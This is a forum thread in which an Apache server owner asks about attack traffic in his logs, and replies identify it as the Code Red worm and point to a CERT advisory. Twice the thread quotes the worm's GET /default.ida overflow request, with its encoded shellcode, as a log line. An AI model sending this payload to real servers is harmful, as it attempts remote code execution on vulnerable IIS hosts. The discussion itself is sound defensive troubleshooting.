Apache or IIS hack?

[zivan56]

I'm not using IIS, but I am using Apache. When I read the logs, I found around 6mb of hacking info....Some guy even tried to some sort of new type of vulnerability by trying to post a program (around 1mb!!)to an example script (for IIS im guessing). The most common hack I get is:

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Anyways, one person tried some pretty weird things, i am including a text file that is part of the Apache log. If anybody can tell me what they were doing, i would greatly appreciate it.

[digital.death]

I doubt that person is trying to hack you on purpose, he's probably infected w/ Code Red.

[zivan56]

If you read the file, you can see the person did a memory dump in apache, that isnt a standard IIS hack.

[ElGato]

Originally posted by zivan56

I'm not using IIS, but I am using Apache. When I read the logs, I found around 6mb of hacking info....Some guy even tried to some sort of new type of vulnerability by trying to post a program (around 1mb!!)to an example script (for IIS im guessing). The most common hack I get is:

GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

Anyways, one person tried some pretty weird things, i am including a text file that is part of the Apache log. If anybody can tell me what they were doing, i would greatly appreciate it.

The GET /default.ida? is most certainly Code Red check here for info http://www.cert.org/advisories/CA-2001-19.html

[zivan56]

yes I know that, but if you download the file, someone cause a memory dump into the apache log, that isnt an IIS hack, the default.ida is just the most common one i get